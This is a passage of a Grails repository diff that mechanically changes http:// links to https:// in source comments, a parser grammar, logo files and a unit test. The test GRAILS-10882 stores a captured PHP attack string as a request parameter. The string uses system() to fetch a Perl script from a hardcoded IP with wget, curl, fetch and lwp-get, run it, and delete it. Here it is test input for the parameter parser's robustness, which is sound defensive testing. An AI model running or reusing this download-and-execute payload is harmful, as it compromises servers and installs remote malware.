+++ b/grails-web-common/src/main/groovy/org/grails/web/json/parser/StringUnmarshaller.java
@@ -21,7 +21,7 @@ package org.grails.web.json.parser;
 /**
  * @author Siegfried Puchbauer
  * <p>
- * Adapted from the Google GSON Parser http://google-gson.googlecode.com/
+ * Adapted from the Google GSON Parser https://google-gson.googlecode.com/
  */
 final class StringUnmarshaller {
 
diff --git a/grails-web-common/src/main/resources/org/grails/web/json/jsonparser.jj b/grails-web-common/src/main/resources/org/grails/web/json/jsonparser.jj
index d756f8fcaf..9232734b09 100644
--- a/grails-web-common/src/main/resources/org/grails/web/json/jsonparser.jj
+++ b/grails-web-common/src/main/resources/org/grails/web/json/jsonparser.jj
@@ -1,5 +1,5 @@
 /**
- * Adapted from the Google GSON Parser http://google-gson.googlecode.com/ and http://code.google.com/p/jsonparser/
+ * Adapted from the Google GSON Parser https://google-gson.googlecode.com/ and https://code.google.com/p/jsonparser/
  *
  * Author: Siegfried Puchbauer
  */
diff --git a/grails-web-common/src/test/groovy/grails/web/servlet/mvc/GrailsParameterMapTests.groovy b/grails-web-common/src/test/groovy/grails/web/servlet/mvc/GrailsParameterMapTests.groovy
index adb1661599..7b4a5d0199 100644
--- a/grails-web-common/src/test/groovy/grails/web/servlet/mvc/GrailsParameterMapTests.groovy
+++ b/grails-web-common/src/test/groovy/grails/web/servlet/mvc/GrailsParameterMapTests.groovy
@@ -496,7 +496,7 @@ class GrailsParameterMapTests {
     // GRAILS-10882
     void testGRAILS10882() {
         def request = new MockHttpServletRequest('POST', '/cgi-bin/php.cgi')
-        def phpExploitScannerBody = '<?php system("cd /var/tmp;rm -rf mc.pl*;wget http://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;curl -O http://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;fetch http://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;lwp-get http://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;cd /dev/shm;rm -rf mc.pl*;wg [...]
+        def phpExploitScannerBody = '<?php system("cd /var/tmp;rm -rf mc.pl*;wget https://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;curl -O https://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;fetch https://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;lwp-get https://164.177.157.215/drupal/themes/bartik/images/log/-log/mc.pl;perl mc.pl;rm -rf mc.pl;cd /dev/shm;rm -rf mc.pl [...]
         request.setParameter(phpExploitScannerBody, '')
         long startTime = System.currentTimeMillis()
         def params = new GrailsParameterMap(request)
diff --git a/media/logos/grails-logo.eps b/media/logos/grails-logo.eps
index a88c6eebcd..aebcabd277 100644
--- a/media/logos/grails-logo.eps
+++ b/media/logos/grails-logo.eps
@@ -1,5 +1,5 @@
 %!PS-Adobe-3.0 EPSF-3.0
-%%Creator: cairo 1.8.8 (http://cairographics.org)
+%%Creator: cairo 1.8.8 (https://cairographics.org)
 %%CreationDate: Fri Apr 16 09:36:04 2010
 %%Pages: 1
 %%BoundingBox: 0 0 593 505
diff --git a/media/logos/grails-logo.svg b/media/logos/grails-logo.svg
index f93314fba3..749b81c495 100644
--- a/media/logos/grails-logo.svg
+++ b/media/logos/grails-logo.svg
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<!-- Created with Inkscape (https://www.inkscape.org/) -->
 
 <svg
    xmlns:dc="http://purl.org/dc/elements/1.1/"